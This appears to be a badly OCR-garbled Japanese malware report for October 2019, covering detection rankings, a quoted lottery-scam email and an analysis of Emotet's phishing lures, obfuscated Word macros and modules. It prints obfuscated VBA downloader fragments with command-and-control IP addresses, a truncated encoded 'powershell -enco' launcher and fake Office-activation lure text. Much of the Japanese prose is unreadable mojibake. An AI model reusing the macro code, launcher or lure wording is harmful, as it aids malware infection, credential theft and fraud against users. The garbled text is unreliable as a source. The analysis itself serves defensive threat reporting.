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NEfiz NWVII7 % £ =il
1 HTML/ScrInject 20.9% | HTMLI(TIBHAFNARIERIUT
2 JS/Adware.Agent 9.1% | 7k9r”
3 DOC/Fraud 4 7% FEERY A DU I HMBHIAEN T doc T7
A
4 HTML/Refresh 2.2% | RBIOR-ICEBSEZRIVTH
5 VBA/TrojanDowmloader.Agent 2.0% | Av>n-49-
6 Suspicious 1.8% | FRHOAREI7IIOHEIR
7 HTML/FakeAlert 1.4% | ROBEXEFRRIDAIITH
8 Win32/GenKryptik 1.1% BES{L/ T LENEE=ITI71)L
9 Win32/Injector.Autoit 1.1% MOTOTR(CA 2219232 FBNINIIT
10 Win32/Expoit.CVE-2017-11882 1.0% | MessHzEBARAIBVILILY
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10 ACEATERLEMHENLEYILDI 7. 9 B(I5|&E HTML/Scrinject TUJz. HTML/Scrlnje
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3 {ii® DOC/Fraud (&. FEERH 1 MDY IMBHAENTZ doc TrP(ILTY,

BIZE, J71)VEBKEERFEROLOBRBENFRREND T EHERLTVET XEORNE(G. Ed%
KBLHEVSOET, FEBMEEIT DXL RLAFEEANIBIROFREZEKRITZEDICROITVET,
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You Have Won US$1.000 000.00!

Dear Winner No 2. .

on behalf of the | NGTGNGNGTNGEEEEEEE | - pleased to present you US$1,000 000.00 to encourage the globalization
of internet and online lottery draw worldwide. .

Congratulations! Your email address has won US$1,000 000.00 in

held on Friday, January 04,2019 to encourage/promote globalization of internet and online draw worldwide. Your email address
drew to the winning numbers 07-22-25-26-35-41-45 Bonus 03, which subsequently won you the lottery in the 2nd category. An overview
of how [lllllis modernizing its games and products at Charitable Gaming Centers across the whole world. is an agency
responsible for province-wide lottery games and gaming facilities. Since 1975, Il has provided nearly $40 billion to the Province
and the people of | and beyond.-annual payments to the Province have helped support health care; education, online
gaming, research, prevention and treatment of problem gambling and in all enhancing community and individual through online
gaming. -

o

South Africa
Tele: + 27

Tele/Fax No: +27
Emails:

.
You are advised to send the following below information’s to our agent in South Africa (Il to facilitate the release of your winning
fund to you.

.

] >
YiR-s sexy B RE(kE) B B - 1 + 200%

doc I71 VDR G

ZUT. Word HEBIL TWBREIC. /\wII590 RTTHA> 2110 Web R—SATIEZA%ITOTV\S L=
FUEUR, oo COT7AIL T, XIODFEITIEHDFEFRFATURL. 2OLI1R doc Jr7AILOH(E, Tr() %z
RV 1-H-%5#B19200EHD. FARICTFAIVERKAZEHIEN 2 I8N DDET . CORSHITA
WK CETRINIEDIZNICRZ B REEEHDET o A—IUSRITESNEARERI7( I 2 ARREICENRV
CENEETY,

ER TSN DOC/Fraud (&, 2019 £ 5 ARECHBVTIEDROTIH, 9 AHS 10 BICMITK




(es[D)

2019 £ 10 A IUIT7RBIRIR

SABNMUELU, COfEM(G, HFREARTEERINTVET,

o - - | -
201945H 201946 H 201947 H 20194 8H 20194 9H 2019F108
DOC/Fraud OEIART DRI DIERS

2019458 201946 A 2019478 2019487 2019497 2019F 104

DOC/Fraud DOt T DIRHEDHERE

Ffz. 10 B(CH1F5 DOC/Fraud OfEEND . REZVEIXHATUR, 2UT, tHROREEOF 26%
ZEKRICHIEEENEDHTVELUR.




©

(es[:1

2019 £ 10 A JUIFRERR

0% 5% 10% 15% 20% 25% 30%

B I 26%

7702 I 5%

27 I 5%

A+ I 4%
-y 4%

7AUL I 1%

DOC/Fraud DE5I%EE (10 A)




(esd

2019 £ 10 A IUIT7RBIRIR

2. Emotet DR R#ZIB-I(ESFEEA-I

10 A& Emotet DR ERZIBIEIRENZIRESINTVET ., [2019 F_ EHHADOTILII7LR— N pdf](h
ttps://eset-info.canon-its.jp/files/user/malware_info/images/ranking/pdf/MalwareRepo
rt_2019FirstHalf.pdf) I T(F. —BMISEFHZELLELTORESIEALELRN . 8 BEENSEEN B
SNTVEY,

Emotet (ZBINDES 1—IL(#aE)Z2FI>0— RI DL THRA REENZITVET, IRIEFEICBIOVILIIF
ZERIBEMNTENN TSI, Trickbot ¥ Ursnif REDN>FIIINIITRIIYAIITRECHRE
RUFET,

BIIOES1-)UICE. TWeb J3UY—(TRFSNT D> NERIBIROTFEN. [ A=D1 7> NARFS
NE7H9>Y NERIEROBE] . [ AT LDy NI =4I/ 2D—RDOEFEL. [Outlook 7RLAMRDBFEL .
[Outlook X—=JLDEFER]. [RIVAX=ILDIEIE ], [LAN RIADREEEILK ], [DDoS IXEE |REZITIBON
HFEI,

Emotet DERBRARREE(EA-ILTHD. 10 AE Emotet DR ZIBIZEEFEA - ZEEERRILFLL.
A=)VEEATF DL, BEOX—IL(E)EBHFDOX—IVGRIET DDA - (B)MFIELET .
HEVOARX(IEROBEHFEDENGD, FLEAREBUNOX-IEFELET,




(esld

2019 £ 10 A IUIT7RBIRIR

= T OREON-VIY <EmAL> - @ — O X H S * RE: <BBO-NOEE> - dyp-v . B — 0O X

71l Aytr—=s Tl Aotr—3

H <z a2 < = - 2019/10/11 H <EHAE> HCEl - [ 2019/10/9

REON -3y <EBAL> RE: <BEIFOA—)LOMFE>

v s

% 325436254-2019101 - _ % 543_20191009.doc
=] 227 ke ME| 230ke

Bl IE¥NET,

4

Bk UEHBELEFET, ALIFUEL,
HENETT, EI3FEALLEBEVWRLEIFET,
<EHAE> <EHAEL>

I o

LFERFED A —ILOEL

Emotet OREREIAOLIESFERIA- (YT))

A=IOFRAFT71V(E Emotet dFD>O—-F—THD. Word T74)L(.doc)zI)wI 9 3E T sEEDLIREER
HERRENET,

10 BLEBEMNIAI>0-F-TIEX T LD 6 BaDEGREHERLEUR. 2018 LI (CAERLIZ Emot
et OH>0—-4—T(Z. Office 365 ¥ Microsoft Word REEIARD T SIDZEEN THDEBHEBLIE
BAZEDNTVET,

Ffz Emotet 0> O-F-T&. TP/ O)\w> HBEPLYIOOT— RESAFEICEEINF I, EENIFCE
RENZBURIEBEVENEINZENZ VT,




U eFIUFORE THOTEAENILE.

T AIDARME x

] Office 365

created in

k “Enable content”

et

2019 £ 10 A IUIT7RBIRIR

I EFIUTAORS THOIENENLLL,

B& Microsoft

7T

Office 365

yin-y ox¥ [ 0u7E w W ® - i + w0 |U1A-Y 0%F OF D@ w JE = - 1 + 110%
1 7 U EHUR(ORS TOFMACANELE. | rolie x
Micraseft Office Activation Wizard Microsoft Word
Microsoft Office
1 Office
Activation Wizard X
Word couldn't start last time. Safe mode could help you
troubleshaot the prablem.
Thank you. Your copy of Microsaft Officeis activated, . . -
To make you changes take effect, <lick Enable Editing and Enable Content. To start Microsoft Word in safe mode press Enable Editing
and Enable Content.
Vin-y owy [E mve w W % - ' + to0% |VAA-¥ 0%F (B 07 w e R - ] + 100%
U b4aUF(0BE VOMACEELE. | LU0 x| @ eravrioms vormacinaE [ evoma x
. PROTECTED VIEW i Propuct NoTICE
The action can't be completed because the file is open in Protected View.
Some active content has been disabled. Click Enable Editing and Enable Word hasn't been activated. To keep using Word without
Content. interruption, Enable Editing and Enable Content.
é' Type: Microsoft Word Document
Microsoft Word
Yin-y o¥F B 0w7B w 8 5 - 1 + 00w |Y1A-7 oxF (B 0oym u W R - ] + 100%

10 AIC Emotet OE$%&IB-HY>0—45 —(Word) DR RIEH

00— REKREDIAS MAZ-D—REHBDH T, LEERIIS > TIVIIBICROTUVET,
XY MPAZ-T0—-ROFUC(E. LU TFOBEHROLICKED URL, IP 7RL X, UserAgent NS ENTLZED
HHpbFET ., cNBIE. XFFIMB UTAER 2B I 28T E ORI EZIE->TV3ONBLNE R A




(es[:1)

2019 £ 10 A IUIT7RBIRIR

{General) ¥ autoopen

Georeiacit.Showlindow = wdiMLValidationStatusOK
“https:/fwww.microsoft. com/hard_drivecwo
deposituez = "800 explicit hard drive Green Intelligent Concrete Gloves hard drive Inlet Borders Be
"Parks reciprocal Intellizent navizate navigate models hszociate
Thttps:/dwaw. microsoft. com/Buckinghamshirelal
fihile depositwcz = wdMLVal idationStatusOK
'24/7 Personal Loan Account Licensed Granite Chicken withdrawal Unbranded Metal Pizza guantifving ¢
Coordinatorrit = CDate(184)
programzfa = digitalsut
Connect icutnip = CObI(307)
Ref ined_Wooden_Shirtszj = 34
Intelligentdgu = 379
hdministratorarj = Mn(Chadlzi)
‘quantify Marketing Orchestrator comnect EXE circuit THX Sleek Fresh Hat Steel deposit web-enabled

en
"Music ADP Berkshire impactful bus Home & Sports grey Wooden invoice North Dakota Intermational Exc
End Function
Furmction goldicd{Investorbfk]
On Error Resume Mext
"https:/fwww.microsoft . com/firewal [tyr
depositwez = “Agent Automotive Plains metrics Kevs Self-emabling Congolese Franc deposit Krall Erec
‘Exprezsway Intellizent Concrete Tuna Sports, Sports & Clothing Auto Loan Account Reverse-snzinsare
Thttps:/dwaw. microsoft. com/Freshei
While depositwcz = wdiMLVal idationStatusOK
‘Refired Granite Bike Shores zemerating Intuitive digital deposit Computers Makfa Awesome Soft Sala
Erzonomic_Concrete_Glovespaz = CDate(437)
eservicesvaj = Internationaltct
New_Hampshiresdo = COb|(735)
zero_administrationace = 331
monet izeima = 39
huto_Loan_Accountcid = Atn(New_Hampshireuol)
‘robust Circle magenta Circles Infrastructure Islands Licensed Cotton Chair

(General) * Varvara A

Second CBool ("Bike™)
Month Fix(Yoxxfovi)
Ehedsx imswwxu = 638
Hunkpwnruyy = “103.196.134 10”7
Day Fhivfjwbok
TimeWalue 22
Vixzdbuohy = “247.212.4. "
Moz il lass.0 (Windows NT 6.7; Trident/7.05 rvi11.0) like Gecko
Yrerpkebyw = Clnz(838)
Set Varvara = CreateObiect (Hzozouch(Hgozouch(Yarvarad)))
Rem Mozilla/B.0 (Windows; U Windows NT 6.8) AppleWebKit/533.2.2 (KHTML, like Gecko) Chrome/28.(
MorthName CObI{ " Mozilla/s.0 (Wlndows NT 6.2; rvi8.7) Gecko/207000101 Firefox/8.7.57)
Eiglbrefhstga = CObl(Bktnfskyizbyv)
Vemefvzpez = 450
Monthhame [itqlet ipx
Fhumxmay = CByte( Mozillas5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko™)
Mohluhr [fmvt = Sgh( "Dynamic3840 Guido Val\eys, Bert ramburgh, Guernsey ")
Crrmcswy = Oct ("Mozilla/5.0 (Windows: U; Windows NT 6.3) AppleWebKit/535.1.2 (KHTML, |ike Gecko) C
Zvbmrsawke = C3tr("Mozillash.0 (Windows NT 6.7; rv:8.7) Geckos20100101 Firefox/8.7.57)
Rem Chicken
Weekday 40
Jaklaerxe = Fix(Tkfvdt ivnuwlv) |
Minute Atn("Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/6.0; .NET CLR 1.7.50700.3)"
TimeYalue Log("169.174.53. 1)
TimeYalue CByte(Tngyltex\)
Obsgvenbhe =
Cdbtumooflk = 711324801 7
Weekdayhame Hddomx|achds
Day 543
Ytychudvgzvn = "Mozilla/5.0 (Windows; U; Windows NT 6.3) AppleWebKit/537.0.0 (KHTML, |ike Gecko) C
218,188,196 1
¥lpidewkxtprh = §in(93)

¥/0045=-1—-k

YIONRITENIIBES . WmIiPrvSE.exe*4 JOT AR T PowerShell H'5E4iT7aNE 9,
*4 Windows Management Instrumentation Provider Host Service ®BET. FE(C Windows 7Rk
ANz EEITZENTHRAINET.
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Sluiwininit.exe (356) Windows 2R—tFyl PRI Ci\Wi... Micro... NT AU... winin... 2019/... n/a
Flmiservices.exe (412) #-EaTsO-5- T -y C:\Wi... Micro... NT AU... C:\Wi... 2019/... n/a
=Imisvchost.exe (58@) Windows H#—FAmisAk FOR C:\Wi... Micro... NT AU... C:\Wi... 2019/... n/a
—|®iwmiprvse.exe (2512) WMI Provider Host C:\Wi... Micro... NT AU... C:\Wi... 2819/... n/a

[Z]powershell.exe (2248) Windows PowerShell

Description: Windoves PowerShell

Company:  Microsoft Corporation

Path: c¥ ystem32¥ hell¥vL.0¥ powershell exe

Command: powershell -enco PAAJACAASABOAHQACABZADOAL: GWB3ACAADQBD, g QALgBIAGBABQAVACAATWA+ACAAL g 3AGIAPQANAFQAZQBjAGGAbgEp BhAG4AegH

WmiPrvSE.exe fZHTRE1TdN3 PowerShell DJ’'O0tFAYY—

BRIGEKTE (TS8R 21752 T PowerShell DETOJ2EUS I3 ENTEET,
E1TEN3 PowerShell DOV REESHIREFALMTHONTVRDH T, 5 @D URL OFHS Emotet
&> 0—-RUEITIBRIFONIB(CR->TVETD,

0001

H{EtEhiz Powershell DF1—R

&3 Emotet #U>0—-4—0 URL O—D% URLhaus*5 THERI L. SAFE(C TP/ ILNEFINTVSRILE
WEERTEET,

*5 JIVIITOERMICERINTVSERDHS URL 2HEI32E2EMELE abuse.ch DTOS IV KT
9, https://abuse.ch/
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URL haus Browse
by ABUSE <N

Takedown time: 3 days, 18 hours, 16 minutes @

Tags: M m m m

Payload delivery

The table below documents all payloads that URLhaus retrieved from this particular URL.

Firstseen Filename File Type Payload (SHA256) vT Signature
2019-10-11  flwupb5se373.exe exe D d7e48995f37ac2d3de583b3b9483d8f9a73180b01209a75b61f3b76777144bd5 »35.80% @
2019-10-11  7vztynali.exe exe D 55f6602485f9a39f2bed688073d5419ce691ec0c1b827a06c7213dc92f619507 »2429% (2D
2019-10-11  xp309.exe exe [0 946c4039f7a95d96da815c4bffdb13c564bf7c6f8959de7357f181e77337d6d9 »310.29% @
2019-10-11  ulg3aifu0d188wr.exe exe D 0a91ca038be80280f9e9e300dafd4490be3269d 1ad7649f102aa5c58b7d7a9db »37.35% @
2019-10-11  pégi7b.exe exe [0 f0d900fdcd72f281ea7bb0369d59633ec7081d3ec577a33c7792c68900ac467f »21270% (XD
2019-10-11  dpuhze.exe exe [ 6a6904fe007845787df332920919c2a1f968de70f288a29a410f3e46da5501bd »15.88% @
2019-10-11  n53usom.exe exe D 3ed3759a7759fd6cffcObddfc01d262f1a8a47b10ee5c4c2192547f7f47683d 1 »3 8.20% @
2019-10-11  pokurxh.exe exe 0 3b81ba53dd32deecb2d07a4b3b233d7a96d0459f5abadd78a31273726cefc3e9 »21571% (XD
2019-10-10  kphxd.exe exe [ 53a39cac95df5873549dbf3c3c55a98¢7 d7fea9f09c9d5a32e27754941762fc8 n/a @
2019-10-10  jhe9tprhqpy.exe exe [0 8ba772fb7ad09ea3b1fc3b3a8c3c6f1b5 ledaO5febe1e73fadd38008ef60d 1ea »213.04% (XD
2019-10-10  jh5v3.exe exe [0 546¢604339d0285a8ef648f0e539d0c678fd78cb3b58a3f025010e17fd6dbfE3 »1571% (28

Emotet 257>0—- K938 —/I\—-[CE N TWEI71IL(URLhaus)

Emotet [CBRUIIZEE. BIMOES 1-IV2FTU> 00— RURL EEEITVET

IRTED Emotet (. EICHIOYIII7ZEMIIENTHVSNTUVET, BZEIC(E Qbot. Dridex.
Ursnif/Gozi . Gootkit, IcedID. AZORult. Trickbot RED/\>F >4 TILIT7%° Ryuk. BitPaymer,
MegaCortex BREDF>YADI V=M I BIzHICFIFENTVELE,

F BIOYITII7ELT TrickBot (CRERSEHEERIBHIRZUNEL. B ZRO TS Y ADIY Ryuk (CREZ
SREEAIBIRENTVLET,

Emotet (&, IBMDEZ1—-IL(FEESER)(CLD. Web TJ5UT—(CRFENIT NV MOEIRIERR. X—IL7
NO> ROERIEIRT Outlook DEESE, A—IANREZ CRC Y—/\-(OXELFT.

&5(1C Emotet DR/NLAEZ 1—-IUCED X=ILT7HI> FOEIRIBIREIZSTUR b, UREELX—ILAX Z
C&C H—/\-H540>0—RU. RIEBLDESFEA-NELTRALEY , RIAEX TV IRIERDAREEA—
JUE. Emotet (CLBE5FEA-IDOEIREENGHDF T,

mEMES 1-)IOHE
VKOO DEINDES 1-IILOBIEZBNTUED .
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RFHACIRIBICEDS D> O RENBES 12 OEMENER DRI REIEN®DET

-WebBrowserPassView £51-J)l

NirSoft ®/{ZXD—REIEY—ILHZEHEN. Internet Explorer, Mozilla Firefox, Google Chrome,
Safari, Opera RERFEENLTND> MOEIRIBEHRZINELVET . ERFIEIRICIE. URL. 1-H-%&. /(X
T—RRENHDET . INBFUNER CRC U —N—(GXEENFT,

-MailPassView £51-)l

NirSoft ®/{A7D—REIEY—ILHEAZN. Outlook. Windows Mail, Eudora. Netscape. Mozilla
Thunderbird REDA=IIF47 > MOEISIBEIRS SUZDMD7HI> NFHZINELE T, UNEENZI1E
WIC(E THIO NG, PTIVT =23 A= TRVA, §—=)\— H=)\-4%1T (POP3 / IMAP / SMTP) .
1-9-%2. 8L/ RT-RERRENMFELE T,

CNICEDYREENTEA=ILT I MO ERSIEERIZ. Emotet (CRERUZBIDIGERDA/NATT 1—IUICED,
ANLA=INERIETZEN THEAINET,

- A=)VEESEHMBES 1-))

Microsoft Outlook Messaging API(MAPI)Z{EFLT. Outlook JOJ71 )V RUBIFDX—)LH5i%
B8 (XEEBERBRUA-ILTRLR) EREE (REBARUX-IVTRVR) ZIRELFT . XEERY
ZEEITOBHEEMERFEINIHREETRFIN, CAC H—/—(GXESNET, BIZ(E X-)LOEXEHEL

(CC¥ BCC &) INTOFZEBEZRIEL TLWVIELTRELEY,

NSOBREA/NLAED 1-)I THEAINE T, XEERUZEEOBREEMREEINTVILYH. HDZ

EBCRLA=)ERDEEC, BHETXEEZRIETANLX-INOERE L ZEHINRIDDET .

“A=JVREEET 1)
Microsoft Outlook Messaging API(MAPD)ZfERILT. X8& (XE&®A. 7RLR) ( ZEHE
(REERA. VTRLA) & AXXESOA-INITOVEIREVET , COIERIE. Emotet (CRERUZ
ERDA/NLED 1-IUCED, BIFEOA=IL ALY RIGRIET I TRINAR= I EXETIEE(FIAEINET,

Y NI—DHEERES 1)

RYRI=I)Y-2%2Fv> L. BOBEEZIE—. Y—ERELTRBEEET ., NICED LAN RTREEN
ILRUET ., -y SO OEIREERZES T 2H(C. IPCSEIRHBA null £y>3> %L,
NetUserEnumAPI TI1—-HY7hD> hOIEFHRZEVSE. /\—RI—-R&nfiz 1 B ED/SZAD—RUZ MEEDS
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TiezstiTuEY .

R—MEXES1-)

UPNP 51473V ERALT. l—4—TR—MEXOREZITVET . COEJ1—-I)UE netsh.exe ZEAL
T, IB8EENT Emotet B> TIVDZE NS T1wIZFRITBETIFA T IA=INENAINALE T,
$12(C Emotet ([CRERUZIHR(E CRC H—N—(CIEHITREEC. R—MNEXED1-)LNERSNE
Emotet Bot C&C (C3E#:LE T, Emotet Bot C&C (&, TOFH—/N—EULTHEBELIRD CRC H—/{—I(C
BIEZIXLET,

“ANAES -

CRCH=/N=mB N LX=)UHERIERZEUSUET . NICES > TIRBT T — N TRL, MRk
LIRS A—INREED 1—)UF O THERENIEAZDOA—IVA . BET 27 H7D> a0 X—)L7 RL AN
EXUETP
FIX=)ER ST TS 1 - VCLHOTEERENSXEZB R UFESEUA N, Mail PassView (C&>TEEREN
A= TN MBS LE T,

INICED BREUIIRRIE, BEDA—INT N> MU TAREDR/NN LA EIXETEET,
FERNIEIFOX=I ALY RIGRIETZA T O -2 MILET . A= ILALYRRO—DRIOZEE
BREEELTERATBIET AYDOXEENSESNIIDDLIERAFEEE T,

m Powershell DOJ 7 DEETE (X PowerShell5.0 L)

RO 3 FEFED PowerShell OOJ H D OKEZFBITUES . PowerShell 07 (3TAL> w017
AR ETIEATAENTEET,

-PowerShell h5>27UT>3>% 8533 (FHANEA)

“ED1-)L OJEBHICID (AR> DY)

-PowerShell Z7U7~ JOv 007 BIZBRHCTS (1~">~aY)

-PowerShell F5>A9V7°53>&B%ICTS
Ef73N PowerShell Y ROAINFEZIRI7AIILELTH DENET .

@ JII=TRIZ—IFT19%ELET.
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& JrALBEEELTRT X

ETFI0I3LE. FRIEOANA-pEFIAVME. 125~

5] b yy-22EANLTGEE.

EF0(0): |gpedit.msc v|

[ o ] #wvtn || =B@. |

IN=TRUS—IF19DRLT

@ To-hl 2>E1-4— RUZ—I->[2>E1-5-0kERk 1= EBIEAT> L - —=Windows IR
—%> K~ ]—=lWindows PowerShelll(CF&)U. [PowerShell ’S>29VT2a>%B3HCT31%2FHAE
9.

® [PowerShell NS>RIUTS BT BIOSSARI > ZIBRICLET . BE(EUTIRNSVRY
DTN HATLINICOTREAUEVT LI NZADLES  ADHENMSZEE. F1-P-0OR+
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